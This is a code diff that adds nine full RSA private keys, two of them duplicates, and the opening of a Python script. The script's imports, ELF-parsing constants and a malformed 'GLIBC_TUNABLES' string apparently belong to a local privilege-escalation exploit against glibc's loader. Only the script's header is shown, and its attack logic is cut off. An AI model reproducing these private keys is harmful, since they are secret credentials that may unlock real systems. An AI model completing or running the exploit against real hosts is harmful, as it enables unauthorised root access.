ljKs56UQ1kn4tjS3SRDjivjXTB7LgOWaWxQXA0r5x3ryQf0bCaZ8hkJahO3qYez1
|
||||
OW7hGTPuaz22HTnonVvYAybu2dqPFYxNHrFCiAYqjThe+53stkd1HuUb3SbzQnNO
|
||||
Qs5yE3ls765PBXiHG0wQ4QKBgG2KEVnNLJifxsN/N00kPQbUVcVDEPZLgvds1gGm
|
||||
A7xE/kllNQq7Zab0p+o71mecRcks72GZOmQsVQg/t5XlQ2G33pQcWhj5F7Aie+v6
|
||||
sB8WpcMmgOYd3k5L6PcVEiYmzYAVSaatjlpLj4BUAGLrkkViCj3qTCOMRTxYusBC
|
||||
ptYdAoGACulLl/aKlyZlYSS5fjvYO2tEF7ZnaFqE9OU7kTDrH16WhNSkyeHemAL+
|
||||
12C27iePKAwx6UBmBn/CK9r4hP9eUF4P0OwAP4pBa5gEgPW7IeD0gS97qNbnvk6n
|
||||
hjzBmlRcpQ2aoWnG8dPNKY1LTkG6jN0F9y80AtfYg3DE4uxB054=
|
||||
-----END RSA PRIVATE KEY-----
|
||||
@@ -0,0 +1,27 @@
|
||||
-----BEGIN RSA PRIVATE KEY-----
|
||||
MIIEpAIBAAKCAQEAwyCSg+dXntVddVgHAvcuDbH+VsOuUztZqhiaeQtbQAXjpvxP
|
||||
cfznbIEyrgLSF6fG//Eii7OKFXcg3lhBXATEVYC9qkR1j+HQI0WgcTo6Pxb5sB5L
|
||||
TXeJFX9uFtq+rtOP7IiPEyFgQQ0AmbjrLVQ5D56nuOeOg2wduLpiYlBs3fo6J3gD
|
||||
00ZqpJHovX6aPy7SkEY1KDeQdUWqU/4pIb+tkZ0xGcsAI87foZWFeeIAGF6ExPg2
|
||||
5JTYKCRhvOMqccOmtH3FCVKDS68FwBWbgl1xRs6cxIB0r16ggwVh+Sdfy79w1AkM
|
||||
1WwQ+7ReE89LGm4ZILZXjaXAGyepcay39OmIwwIDAQABAoIBADzqslMTqjsgCWlU
|
||||
7ftzB6Gm6+xSct3xLXD49WDMttQqAoRjSLohZm5td1Dz+HsCGhJVSZ+rkXRaGJzR
|
||||
mLYNlu3Kn2vEq58btEsOtaQjtYN0vMbK7l9k7hsUCV6BM/6Ideo2R9SFGvO0B3f2
|
||||
TxV7scS6l0oWoFtPKYg+R/DBgvtZU6TqDxuJdSQo4nYDo/SWe5w2OgGw1OxWMzOU
|
||||
233qH8z8lPAYusIrGuw5vgywF+8wXvgDHEZIB/VOTT6Z9wlFQS2Nk4oaW77iampo
|
||||
EQ1FiCn/CiHsQqpdfHyVq3Kfq2F6XcwPvyhF2n7a5vh7KDjvZyQVinkeKdukrD9p
|
||||
0mGj1WECgYEA5yyRMDLjN5wTy0Pr1KUJrjMuuANeCTTk98vc3zsqN9TN/JRGwTXx
|
||||
1cWh0BkTf3XKW97ozb7h3T4AJO5t99K1sXGRtXPo2QI9pAD/WeMXXwvQtUY2+bhc
|
||||
YzcGsSZedLUWXxpmns9CcYn40iYJ7woqcXU9w6XlyUvHEAY2P62V638CgYEA2BUB
|
||||
gKAhU5hB+UDXdt9VCU20KgOIHbvb+TqA5MRuJmvTVcuqDAsRk4CBHkAMQUg8mOc8
|
||||
QD1rIckuXZPCpyUIHyrQa5PWZfRiACQN9Hrn6UveRZK6IguTsiKT1gGKoecXlhLz
|
||||
0avPzO4JWYmL5QvQiqXbZGz41RrE8tslXkKLVL0CgYEAp4+vQT9xYKp50njN5Jkn
|
||||
liO1Nl4CeCvl1xLmaswIwuU11WFok71VKD0TF7JFZrrrTYIaPp+gOWwqUJqeDOan
|
||||
GhIWqm50lW9BXLH4ZJ/tHdCDnBFj4cfW93c4G4mTJ4bmy1Jola3nHEMEntZBlwlI
|
||||
UGrJtRl3oFuT0zKdebSJmWMCgYAhJU++sFGMZi2wk1650FZWAAJj83i8vuVmXLAK
|
||||
54rR//ZCEeS6xjPjAXJM9pwqo28QMWBPplw5qYegORtB0m9lgIbKCbp4lz01MlKl
|
||||
rvjGE6o7198Pe+EjESTGTiQ645z9m1ilUAqnL9hlULER6HcL3ZdC12hwIBQYAL/B
|
||||
rsl6rQKBgQCoJQTOM/hqwj3YGuLhrdxYl84gU2qAmedB2SasPCFP15liesotBG7r
|
||||
OrAwcjvt8W38ZtIsTXqeN6jEd4+S3jSeL4mGU5tZFTnX7zDbjOUDUdaAli1yA+t3
|
||||
N1uRUWYGWLk2ZdAxX5TCPEINXHOuCNJO+aSGZwUcoVoDinZAdq+Xzg==
|
||||
-----END RSA PRIVATE KEY-----
|
||||
@@ -0,0 +1,27 @@
|
||||
-----BEGIN RSA PRIVATE KEY-----
|
||||
MIIEpAIBAAKCAQEAwyCSg+dXntVddVgHAvcuDbH+VsOuUztZqhiaeQtbQAXjpvxP
|
||||
cfznbIEyrgLSF6fG//Eii7OKFXcg3lhBXATEVYC9qkR1j+HQI0WgcTo6Pxb5sB5L
|
||||
TXeJFX9uFtq+rtOP7IiPEyFgQQ0AmbjrLVQ5D56nuOeOg2wduLpiYlBs3fo6J3gD
|
||||
00ZqpJHovX6aPy7SkEY1KDeQdUWqU/4pIb+tkZ0xGcsAI87foZWFeeIAGF6ExPg2
|
||||
5JTYKCRhvOMqccOmtH3FCVKDS68FwBWbgl1xRs6cxIB0r16ggwVh+Sdfy79w1AkM
|
||||
1WwQ+7ReE89LGm4ZILZXjaXAGyepcay39OmIwwIDAQABAoIBADzqslMTqjsgCWlU
|
||||
7ftzB6Gm6+xSct3xLXD49WDMttQqAoRjSLohZm5td1Dz+HsCGhJVSZ+rkXRaGJzR
|
||||
mLYNlu3Kn2vEq58btEsOtaQjtYN0vMbK7l9k7hsUCV6BM/6Ideo2R9SFGvO0B3f2
|
||||
TxV7scS6l0oWoFtPKYg+R/DBgvtZU6TqDxuJdSQo4nYDo/SWe5w2OgGw1OxWMzOU
|
||||
233qH8z8lPAYusIrGuw5vgywF+8wXvgDHEZIB/VOTT6Z9wlFQS2Nk4oaW77iampo
|
||||
EQ1FiCn/CiHsQqpdfHyVq3Kfq2F6XcwPvyhF2n7a5vh7KDjvZyQVinkeKdukrD9p
|
||||
0mGj1WECgYEA5yyRMDLjN5wTy0Pr1KUJrjMuuANeCTTk98vc3zsqN9TN/JRGwTXx
|
||||
1cWh0BkTf3XKW97ozb7h3T4AJO5t99K1sXGRtXPo2QI9pAD/WeMXXwvQtUY2+bhc
|
||||
YzcGsSZedLUWXxpmns9CcYn40iYJ7woqcXU9w6XlyUvHEAY2P62V638CgYEA2BUB
|
||||
gKAhU5hB+UDXdt9VCU20KgOIHbvb+TqA5MRuJmvTVcuqDAsRk4CBHkAMQUg8mOc8
|
||||
QD1rIckuXZPCpyUIHyrQa5PWZfRiACQN9Hrn6UveRZK6IguTsiKT1gGKoecXlhLz
|
||||
0avPzO4JWYmL5QvQiqXbZGz41RrE8tslXkKLVL0CgYEAp4+vQT9xYKp50njN5Jkn
|
||||
liO1Nl4CeCvl1xLmaswIwuU11WFok71VKD0TF7JFZrrrTYIaPp+gOWwqUJqeDOan
|
||||
GhIWqm50lW9BXLH4ZJ/tHdCDnBFj4cfW93c4G4mTJ4bmy1Jola3nHEMEntZBlwlI
|
||||
UGrJtRl3oFuT0zKdebSJmWMCgYAhJU++sFGMZi2wk1650FZWAAJj83i8vuVmXLAK
|
||||
54rR//ZCEeS6xjPjAXJM9pwqo28QMWBPplw5qYegORtB0m9lgIbKCbp4lz01MlKl
|
||||
rvjGE6o7198Pe+EjESTGTiQ645z9m1ilUAqnL9hlULER6HcL3ZdC12hwIBQYAL/B
|
||||
rsl6rQKBgQCoJQTOM/hqwj3YGuLhrdxYl84gU2qAmedB2SasPCFP15liesotBG7r
|
||||
OrAwcjvt8W38ZtIsTXqeN6jEd4+S3jSeL4mGU5tZFTnX7zDbjOUDUdaAli1yA+t3
|
||||
N1uRUWYGWLk2ZdAxX5TCPEINXHOuCNJO+aSGZwUcoVoDinZAdq+Xzg==
|
||||
-----END RSA PRIVATE KEY-----
|
||||
@@ -0,0 +1,27 @@
|
||||
-----BEGIN RSA PRIVATE KEY-----
|
||||
MIIEogIBAAKCAQEAyfqMG/j7J3dX3bXLD7b+K7Oma9viSjjpR1SqgDI3SghskVBw
|
||||
5hg0vnTyzwou0RgdnmLGpBtgSvWlewbweWvbCJw/WbOvS6NOKkBP2OCkaEUufakA
|
||||
RrzP4dK9qBYAaUyc42NbyVTUX62NvufdL6ruBON/v4U0YXqfyW7GyqVwzuWWCaWI
|
||||
Nnsyznrvqo8fWEvSHxNOlDmrkfIjhKcPmC8i9z5IrFOZcXGcnEPT8ps+UzfY8+Sl
|
||||
byEJ5q541pyieYGYlvortqyhl/szzH2PSdTh9G5yK+sU2aWRGAa4HXD3BWLMpk4o
|
||||
sdnfhLynlC9TSHSf8rZHvm6v5WIpTnNCUGwkgwIDAQABAoIBACLSioNsGskEH2b/
|
||||
J8JO12VrdL7Vyx7mzvlYVIkDn1qpNyaaisxw0e8gNJiTddzg3oJnHz495g0mauBa
|
||||
Iu2cNcg3QAjUHN3aiuhn7BxFJrM/cjOCBqUrel/BuKcZG/sLlWTyxWlhsbfJMU3/
|
||||
pbfJLX40RtsbORuxS4ksCyP3AAr7Zb787AAq/dwepjT7XUU8IsyIx1PG7UP1AusW
|
||||
Q9BEer8LIprWmoCP+k6X7eEsK/jhfdDYHrn8c63/FQW5nODrodGE6bxpc0mUjUcx
|
||||
G5K+ddWPeTRPAZ3OtBC6B0ZkRz3NUX+7maT/AV0HdRsKTC7BFGQPNmyf4CRZWh14
|
||||
GLfvmbkCgYEA6sPVfyqSacVINLwnqQF1iFcZGB+Ilut1z9/fELWXb0uPXNbOZMVj
|
||||
KET9Q08sAi7Qr9i4sAnpsw9p0Lo64VNeu6W6KPItQXYtvyHF/r+qmbnYWqMXHtjW
|
||||
scimxUIWCsoXb+4DlCMrqQXo3JoJ3Q1pqKOmPTdBz+QcXrsdZqVILW8CgYEA3D+F
|
||||
hGN0pUIZxw+g+3rlyOTIqk97vtQn15KJzgZcdCyag+4kxTgcQWU0SvdauiiVgDEJ
|
||||
fAryeEuA2wZ1UPxBNN7KcELIYf087kWoncweWf3Ket39ibrtU3ZMFBuNXYOgBiti
|
||||
0IoLNhBsp97QIYm/MrwS6FeuAHeZKHg7o8vCWC0CgYAkWSveI5ZFwCDc4WD2nt42
|
||||
vN2KyZ8ZVt2H0O61pJgMyFMrGasdGR6wJnZcDI8Qy3TONSzrPK2tZq6Ifb0OFB1v
|
||||
ykoXet+c6hJNLIp+VeixIoAoEGZNBV/AaQPBOOk2xHF6iAyPzB4/bkXOmh761c/N
|
||||
J4FeqwaKjJQD6s6zjNWvCwKBgBCDqs08b9icVjZ404dHtccUcH9kqlCqs7oUQMTz
|
||||
8Sa82XEfAB7RkDzPC9a7KVBgDqWoB6AHahre/nBt0YobAACo2+EDAOdoB5OOIZCD
|
||||
Z5szzmTcFFCpdXYWnqm7TyQ95FfSFPyx/Rk2rg8AQ/bfzzhMpdZKDL/4N8GzEjW7
|
||||
53yZAoGAOyiHzq8GIV4GSJyKewcxOlulTf3IY4Tf/6EJNsqeDnEebH7BBRXIKWBw
|
||||
uGC5uzEPN+GHSNN2wlZROH8xlPGTpL5FIGfGDfj2fIkSHyPThBeVSvbMSXwEdL+4
|
||||
NBC6ut7g/Hlu/+PqB+yQgHrUnlU4YkrlHlfcR60qvasZrAMNsvM=
|
||||
-----END RSA PRIVATE KEY-----
|
||||
@@ -0,0 +1,27 @@
|
||||
-----BEGIN RSA PRIVATE KEY-----
|
||||
MIIEogIBAAKCAQEA4Iv5cXgnFvDdiktZe7zAc9mmBKS8WeodaZteHKh1khyHFm7d
|
||||
oRNnCWV9h2yY+4Wktp+BEF3RmJdOd5POJZyDZoKckMNKmMevk3hKS09Jz/IhYmAH
|
||||
I1mJ1Hx91wN+2UBIps/21ujsVDDU5pxPdOaL2ljzbnlh2huSW5yELuNZMbZssmdm
|
||||
Cgk9xEfZkyK0DWaCsJZVZPAzBc2FRzBBqa1GmnANXbkjDelIo3WMsBcHG08MolXx
|
||||
GBALm9s1xlLCynlW9bFN9RO5dOzkjqXLHVzb/2wdB4AOTdy9+IaVyH6sv/ReTdLP
|
||||
O+yeXZAWtBdLHX7MJwk84Sd6jzC2juDblX3o6wIDAQABAoIBADfsZImQBRw/jM1e
|
||||
isC4d63irOhHJum11vFwUnYMtotXM4Wwwt3U+Tpr3mGV+FvcIvOgsgIje4nnVRGO
|
||||
7C6N1mP3b4rWOIPoZ5/wu4AaFSYHBa18gQqayCr1flnIcxUkX3O8I5vOkt089Ckj
|
||||
EN7qdDZDJQ2EiYxKhZ7vUjRjRtmMP/dDZcNIORn3jAZoazoA6XWhys3CpTK/ff5g
|
||||
6iDRJ0uamUMMGeFwm7d4seeH9dSgagugBpnsQRG5i6XJcRvR/mYbheTEj+1p8AXv
|
||||
B665aTZaFooXOUFxKJ3gy5nwIPrqDb129EdRWY3wxtBx5lubbTTr+sn/oNbBhcZy
|
||||
Tw+3wXECgYEA9xWz4dI9mOXrgaPP6bMugYAXZ2mEHqftj42/7nd/kxXA5uJIYb2R
|
||||
i7XI+ACtI3CnNlEH6R55j8dR9ep6JOHbzVzC36JthpTLhrZr51Kq4/ckLZdazIUe
|
||||
1QzzC1WM26/u3ERQBwoRowMIxOMstTHhM20b8cPFGkdqp3cHU2gg7a8CgYEA6KYX
|
||||
KKRc4AbpCEJRanun164bnAXQWatwVp/T4Z04RU7jdbGXw2QxAskHbzIxHzoBurZn
|
||||
r+x+YIIm+yv54o4RaPjru7RzHpyYe311v1BXEDipmn0iygILxBvElAlMjUoxukHm
|
||||
ofO4Rj3qRqk5RvETv+6DfcaMldIanuNGQ3q0o4UCgYBWstLPpkne4K5mauiFhE4J
|
||||
Orz7mFa3uwzsljyGnH+zSKrLWRM02KO9difyfapDCUBjGsO/1OWqwbHMrF33mxjZ
|
||||
Unc+qWvtEUDpIBF0tdko7ItRRA6kPQG4mDaf/4DRhUY3G/FIxwuxO1tUWrJRUhNH
|
||||
TD3F83+x3OVbpbR4W81SGQKBgBuoOxKSz5O2XpejwqgFAUQLp66ZplYyok05/OdS
|
||||
WHEs2q+QKDmLPKRXH7IhZmOO8suuiY8Jb1CryFSNuswrFXjENsn+vrzB4wKzPH88
|
||||
3szH36nE/JDFQ37RykHLBTW6v0SkNvXD0oFPNP2nem6rlCx5/1nBc88PxihjXmQB
|
||||
P149AoGAaWRGqZyaMOl7e0OECQY2aQwrhLN0vpg2KXcH9lkGfyVy4TlqC9m+zDvh
|
||||
BP/02NwZgxg+NGOS+L+C5G9byifa8e94GEq6XvX59ai8N9hgWimvET/9Hujuz3O6
|
||||
LfzJVu6PpgXAKAjt4yzA1oFZnJIl26DmZbisgQQptixmd2wvJew=
|
||||
-----END RSA PRIVATE KEY-----
|
||||
@@ -0,0 +1,27 @@
|
||||
-----BEGIN RSA PRIVATE KEY-----
|
||||
MIIEpQIBAAKCAQEAwOk7AhHKSloJQjIQg4YB0XIK6Q7Yggu9lCg1PWnjLqJQDywP
|
||||
7X0DMElimJRG2FRqCh8QomQjDUydeVoY4jIxnkrQw9PAGPHNCgDkBIvP8W7pBKbA
|
||||
MQjRIHbKHdnlrjLyQfUr6g9suLfHDSyavHNxxJX5vZbKvRQmTXBq/rqpO+4C2uHV
|
||||
GhFi+Ka3TZ2lYFtjWOmbxHiwvoahwfxj/ifb+XI6vdAR4v6JIMvJxEmO1rylJo0a
|
||||
NL29/0rvtU6v7mYk6bcCNr3tv0GbBsBu6cdv8lueWq/9r4uGV4Y+tZ9vErQJBR6R
|
||||
gcdzqKla4zF8huk0P/uDqGEeoYsXwi2XXG0mFQIDAQABAoIBAQC6RHllliftguJN
|
||||
uGmZlVtMEQHX5y3G4+85j1lY41UpQjBrdfArL/pUNYeuK/38BAYfn79ADdCKlt+2
|
||||
vPgp8K1YWoUZkOx7KX8BmbqRaS5vwNfeVeRddFX5MroV+L99ZFPmvASbDCm+cjUQ
|
||||
03DVZeMEHov2NBOuXjZdr56gNzwRUCHim+sUcxWD1033AYmuJ1o9iQ2YFc7bACiB
|
||||
9qYvfV19hxZZ5qzQaC1R1tSqKlXY69slKEc67V1vT6aUyl1+oqtt9EY8Sw4E/TTy
|
||||
ntkY/AHDuUCIVQrcfpio6UV+Vo1eX0U7F9F7Pc+U/2zNemyyq+4PXAKtc/LjtouR
|
||||
FXEnaygBAoGBAO4l6EEeV9kpH2Rj5mY3ECbjyfwTOyMlA39OudVZklRk8H7aoadA
|
||||
et+Gtv8/rE5rJkz2EU2PyVjuGtKN1ZEMnDOlM+nbPDWnP+1ieYVmB2HY9Kv3y+CQ
|
||||
tYaZuBC6EfJifgIxQJYEB2Ma+vthKhiHpJEe5FzNB1MLM5VXJlKQxeI1AoGBAM9f
|
||||
OAzUUA5IACoC9jl3aqj8pqqgdkqq3QcgWLnbQ9rXWjvqcWIP4n+eE9vL4lEKz86C
|
||||
KB7WEJUb4UBInDGudW5zDYgkB4kJRJEpeOZPsCc3AMncK01FonRZ7AaY27Iy2Jv7
|
||||
8iBwSiadSN86q05TL4hqYwFGtUE7bN9m0SWb9rBhAoGBAKwW3HRh9t1IKBUlU5K9
|
||||
a4COzqDHTM6iqppOS19usJ0nq9ofJv1zTNdFw+tDGcI5D55BmlNP+hG3Tc6lC5Ub
|
||||
Zay0ToVJFYM37qwdou7QwbjlTDkQgVUvfN1dK3N64gkjPydaa+97zdLB5mfM2NyM
|
||||
+FCd4CtnRUmvKIFcTqcPUs+ZAoGAPoi1S1EfDx9xRTn9bFjxhiIiVGPtKBkcbBC6
|
||||
ENnpPW4hnN3W8T5fDCLsVCTIi63Z+qlPVfUxrPVqWMtMpsK4UOVLGFndF9r+nVPH
|
||||
TJSNR1YT28uUF0o/chzHyzl/Tt58aZVxb4zNH5Xgqshzbjwxok6KqpDbCd/Utg24
|
||||
VkIRAyECgYEAwgnMIysZVk329LhPzjMQgDSThQnautMJ0SjafSYWn2ASlWOn1XWk
|
||||
p3POBuQHSHLkMf7aDfka3rPRhn1yTTFgd5oHjTLexU+xMGhXkbVy3alUGAcZE8lH
|
||||
FkyKZUYTisGZn3qrMKNim/+o5DGXn02RbOS5iNiX4wxNVJ+DtEk9Q6I=
|
||||
-----END RSA PRIVATE KEY-----
|
||||
@@ -0,0 +1,27 @@
|
||||
-----BEGIN RSA PRIVATE KEY-----
|
||||
MIIEpAIBAAKCAQEA0h41gxtVvp/p62gUE+KrgD+8kOEDM75UDaDqZDw8VmNnjKDx
|
||||
VSR01+7732O4bwCY8iPRe+0TAYRS+vv6HH/QYwxl9OYhAUXZijjn5pVGojEWCTaD
|
||||
z/GV+/U7QhjgfPS2qW46tuQOXQSRShDDkCDEHR8mspOSQSyGbSmpPYXOt8eXssvC
|
||||
yd4XM8eJhaoZzZAg8kFhFiy/l5J2yAeCFePMEbNxVPon0rf6BnXucGycoJtZWAAR
|
||||
HKnBW1shHIT+DNDMo9HUU7s1qVY8IRET6LqbDtgRgFS1PDD73KFlgozoquuwVZuK
|
||||
F6Uuwl6KU8f5Lgp7jvPWaqguTxvFyiVKZlhdgwIDAQABAoIBAQCceGqZK636utNT
|
||||
vrnU5SOZ6dzedvIPgljNnVtvMXwtSPE/xEpzgSaR9yISBQy/fM5o40uI4c8ZfhTd
|
||||
Wu+ycWwZlo4GhalmbUHGsQHgsKFc/vjN+47FN77dVo2+dxAVfZbZLYED2Wjo1BHt
|
||||
+fXoSr5AgYYrzcFIT4P7nt6tNgvuxpXsMNAIN7uP7Hcdme7xb3DCxcti5x9sbljX
|
||||
GM3sI1MbqBnhkBpDxzQrBBMkpn37+8P9vYsCtBUzpI/XZvDJ3cIRbBG2Ph+tbeQm
|
||||
cANuj5YVeiKq3/p5EKdMbH7a/+x0+faIWHol8GqMW/GNL69tDMvO46kE9cqhf96d
|
||||
rtOA032BAoGBAPI8QriLzzflfP4GU7V+dO4vVtC7nzeks1Y8LGseDk81LGpJBpuG
|
||||
EqHzPhvNrJlmensefIRk7ItOFQVf8erZ2dkvHJQTo7zGX65avNfk2hh0NTfqa4a6
|
||||
rA+i+i2bymBjt1aGtELuZIZAFiMM5/1qq3dW9NzF6w+5I2V1NgvuUHmxAoGBAN4O
|
||||
vpsIc1sPDThLG6kiBk9OXpUXi2ZRLQa1xN1Tby8bn8cwqMT+OpanA2CzRnNiHFYL
|
||||
WH2sJBCZwmMDJJq3g82BA17/Z8fivrvUB4PNOW2TGjxyaqdgilAtYT9fpJgSodY9
|
||||
W3ZrsFI/kX6KMwbLuIVNCyqHLnc87lNLO7zdlqNzAoGAOMXm3VnnNzKSGPdipyb8
|
||||
QNbXghR3PJNddNilkHV65RWRU1fKNKk3tL1N0TZjPZDHJBQBGwaMahni01+pU2G7
|
||||
rStdh1cTCSt1QWgC2pbIhvK1hmVqzijyKrgH6qiYxf6Y+a6YkRdOeCiNB6n+tWZK
|
||||
ya2Xtias8QJzSVQvVpyEQAECgYEA2QQN8dP7cQWvxNFakhwHkKAlvY3KFc/FsmYY
|
||||
pLky0xYrO+9pMUTIm41TtsDeXEuJJ+pkrEV85aBvonZi4rXxIPkyAziXA3mtMEHS
|
||||
qlP6CQWXwXWMmFG4Ow1umhHt+RVUht1mMsCiDG/F0KZdogmdJuGZxRFiLvQkctD2
|
||||
6+ifnNMCgYAHGFS675HYCVgoa5E1FmK9Vc7C+PjHqARrKinmbODB0GBMnKDk7qww
|
||||
GeL0TlxQnJNabxwa1cUK9mW50pihAMlDOfwtxGuMhkyvH7sH400Iazb/y0rordHT
|
||||
A9a33jHpjIsviQD/R5oKXF2GEOUK1GTfhXYY6Nan/LTxxHiDFF/hIQ==
|
||||
-----END RSA PRIVATE KEY-----
|
||||
@@ -0,0 +1,27 @@
|
||||
-----BEGIN RSA PRIVATE KEY-----
|
||||
MIIEowIBAAKCAQEAoUJXpD/5Wh7r4GIKD9UseSse3XTmMoS6IhsgmEkathmwdTww
|
||||
qzxA4vDcDufewZV5Jb6ekCe5+ImYCyu6SNJTm2w4LN9FRhyPHG6US+ZmCpfm6tVm
|
||||
uuada98jcbfLw1cZfai+2vqKGDX4+N6Tcs10tnQZ4seqln5Lb97NJ5pnWYhhz0DJ
|
||||
C93N4GpZIcj3rz2AKvxOCGWWqFV9yv5fUhzw9NPW65+NYkHtw/6dNOMA2+6w125D
|
||||
U4cax94nKfMVfXOlPY4gCxDNX2LmvQm6Dc9nXywqoK72M4yooKQ621n4U+o5WPcZ
|
||||
Mvg75rYJN/d+J0NrYtfTejwThYp6XBd9B41IUQIDAQABAoIBAGJjifmrFsaHqz8i
|
||||
UiVK2XGsf4567qDQHokEqCSCJgwJLIK7EK7JeoV8k6d8jYrrWhlPboth0bP0r5HR
|
||||
Qj2AJobjxnqKV0fp0N92EIEmuAeqmreZMK7EWjQg1w1hKK+sit8CgEA3MN6Iv7mI
|
||||
g8o91QIlYE3fqRNdR0WgWOfa60fSWBmblw/zy9trEN8SYVTV4IKxYGtZzxw3Ka4P
|
||||
w23d0Vq0lB4iYjiaLXWwlsDBerUM/SVDck6k5EDmxmTD5s3edm0CGsxesaxxG/8w
|
||||
mUU03IQ5rBuhdhhvrqnvQMrvWFXPRRFmFEpyQ0UxNSXZNIWAiw3CdFBHxGDI7PkR
|
||||
lwstaeECgYEA1sYMIkFauOYM6ff1MCFbWtz7YHv15zuaAvaRLQqZ+gn3wsgRTJTl
|
||||
CgYSdWCf74Sk3cUBdS6M4xqoEZAMzNIYV/HNj8F89m6+HE6r18cFhXzKQGq2FbgK
|
||||
p4CDe6p5Sv4gl9H8lqqH46/TVipxSrxr68bSrwdQyPGU+laEpbQ8PKUCgYEAwDaZ
|
||||
e4cUARkADJ6E8JJvHUxaQfbAG3S7v9aOP371teFO1wgF2D9OsGWSPVuQwYb5Zfaf
|
||||
aUu3UjV1CSU13dFDOkWXAGM6ZmgubF4TW95+yS1w7rJlZYjTbxE2Ew8fyEFrEHK9
|
||||
eREsouTEcLS/nSBqUut847EitHRmgE2ymHNWcT0CgYAFCyOPzl8WBnj5KZR9a9sc
|
||||
WCIjEuYkZvbn6Ohh2WTiRUenMFGPrdNvF9NpJDq9Qi0o9A5jtRMj5iVaPDrAuJJP
|
||||
xmLgZFfN5a3bNlG8wHS1vMd3Gcpq2iaN5muwBMHSbANR7WF0HE8Snrdkx5xfd+tE
|
||||
3ydlatOP1HR+KHf2+DON7QKBgQCwhnRWuitpBqjA7iRxPErHwYNy6UZs8Lws5sMl
|
||||
FVhbfVyGp1uWyi1eWyn/J8S9t1P8jI7CiUMHQQkHKSFbYgA32Alh1b+gpTVdWNi2
|
||||
mpQd9pms3jG5Gfv0GP5saotpwoqtRHM2aMtxnl+6koUXrNl45cSA6AFTcUNhufm3
|
||||
gNV2kQKBgBXOVa2ntVpqCng6pecJICknw6Dr6/H6YE01Ks7sXaHwD5bupkokxnFW
|
||||
JcVtJFNGUbLJHowG1rt6B1/w2IXpZZB2P4hQi+9033PxT+C+B13VaMkWTu+KbUhv
|
||||
Ji18eBNs+D3YHrR6sMyprth65c+GszaC/ZqyHxitP3UQhic41y+9
|
||||
-----END RSA PRIVATE KEY-----
|
||||
@@ -0,0 +1,27 @@
|
||||
-----BEGIN RSA PRIVATE KEY-----
|
||||
MIIEpgIBAAKCAQEA99Bv5dUKWoLUuE2CRiri7LazYVFqH09vOZwBXPc61arFiZaI
|
||||
IrdqMxrkQ1AuBSfMVjSdOFYcgXF7FQmHe0YFCJrJFvc3xKbQQFFZHRiWfDggSNDq
|
||||
yt9T7xeb2suk3MI6jVT7Q/txnDZGSY9jDIwGDYygQ+VNBX+4A6A22XNZM4apdEx1
|
||||
Y5jiuty7wqoQeYZ9Syb5ge7EErClM+DmpIquqURHHtlAxidi3d9PKLSgWywkuXhQ
|
||||
kY9NxigdqX5p5fmeEdvCOoB0rimqpnQD6rOzkTyr7cEklyYeUtZH0nG53dZopAP4
|
||||
RYeCq1ckGzfVGKc1USE66zEUFhRJTc341/sbmQIDAQABAoIBAQDLawmvO2U4TtSW
|
||||
ROl+9402ifJNHCtkcCv4uhpUWYyt/3QPMMWm2bAPKy/cIWDlUnnk+WNk7yqPBrvl
|
||||
1OClTCCto4EVnPDmN5gSc7QWsiw04018+CEDTrbzOAnzW96EZ9rwUKXAdBIaDGM9
|
||||
1rmTfw0o6hpUIVFMBj7imwzrCkhahb3cRjOaPWn2HLQhVuExMx4XlcWHTlBAXQWB
|
||||
czeci/KY88loE96cn9YFP4ADF98L6vgi4WY3oXK7Jwv638IYUyksb4RTJirDXcuc
|
||||
yEZXMCzFkrzAhlZIX7ZgFULM9qgD17g9PaRmiYa3o7eUJ0d0Yq3Wnt2CnWDz+t9x
|
||||
wnAM5XABAoGBAP/oNgi5pNh+sSP/V/CjQ46+q81pBNMYauaTcFG14yY9oSgH2rtS
|
||||
j1Shvu9AHd4YskUiMs+6/6hNXkXwEClBwr5W5dxZixQYIu8tjVd3OoESvHg6VgUE
|
||||
1WTRuzX9rCQ/jCmE2+zr5JBnjzDBOKDvqicfrmGPLyC1iqIpYkxiBuKBAoGBAPfn
|
||||
eUXtAh/0wf7nOavqCYapn8pAwSu03YAzGZs74YlF0pVMCdCxrJAHTCYbOOM/hB0o
|
||||
8CVLZhT+ibzDBobhNxOB0IdlX0wY421vobIH5Thn2gQ2XRmtRztv9QFWG1nWQPno
|
||||
BcE1XawnXpPHL7TbQksxmPmsb2wb3FfXCO5htn0ZAoGBAN0klB0yICweP4H2FM6U
|
||||
p7rhNqIJkOvC/A5JdxSFc8gGFg/7yZ97FvVx2Qfzhlv5R4TKqtIsrOWKBl+1tqGQ
|
||||
fHPzsCudDbzNptK9sJjXJa2IvWnAL7mila3MOFXN40Zny/3NHCg/KYNImsrtDry0
|
||||
n3uzuwP/siA4AZdk39dWFtEBAoGBAKqvWkV1+QeNmuBpzcB7JFHuilFUImx4XCW/
|
||||
iTrjkNbWFzaqIvvoyTple92k0pdMjScSn73d2wxLcQRhdyX4/NXWhIAkoOehHz2j
|
||||
Jb6RRxZ+EpLh51odfzUCUbu40J4bMaOfSA8OMk+sz6aJ92PbrxpcrMoDGrhhumVU
|
||||
bhbLej1JAoGBAJzpodByDrSqmPSb8S5iRUiaJRTlg7BFIAo9+rmEqbl9pW4dFZQm
|
||||
kKNljx0zaJAqfqaPCi9WQLARXtYhBZbpUnhAsB89yjO4T0LFMhh2jAoJYZuOMnK9
|
||||
S8O/Gb4TUWDP6kGOmF9X2Wcc1FSyydmGHqR6OO3h1UdrhENNN3SSpshx
|
||||
-----END RSA PRIVATE KEY-----
|
||||
@@ -0,0 +1,312 @@
|
||||
import binascii
|
||||
import os
|
||||
import resource
|
||||
import time
|
||||
import struct
|
||||
import sys
|
||||
|
||||
from ctypes import *
|
||||
from ctypes.util import find_library
|
||||
from shutil import which
|
||||
|
||||
TUNABLES_MISCONFIG = b"GLIBC_TUNABLES=glibc.mem.tagging=glibc.mem.tagging="
|
||||
STRING_TABLE_INDEX = "shstrndx"
|
||||
NUMBER_OF_ENTRIES = "shnum"
|
||||
ENTRY_SIZE = "shentsize"
|
||||
ENTRY_KEYS = "name type flags addr offset size link info addralign entsize"
|
||||
HEADER_ENTRY_FORMAT_64_BIT = "<LLQQQQLLQQ"
|
||||
HEADER_ENTRY_FORMAT_32_BIT = "<LLLLLLLLLL"
|
||||
GNU_BUILD_ID = ".note.gnu.build-id"
|
||||
LIBC_START_MAIN = "__libc_start_main"
|
||||
DYNAMIC_SYMBOL = ".dynsym"
|
||||
DYNAMIC_STRING = ".dynstr"
|
||||
SYMBOL_STRUCTURE_KEYS_64_BIT = "name info other shndx value size"
|
||||
SYMBOL_STRUCTURE_FORMAT_64_BIT = "<LBBHQQ"
|
||||
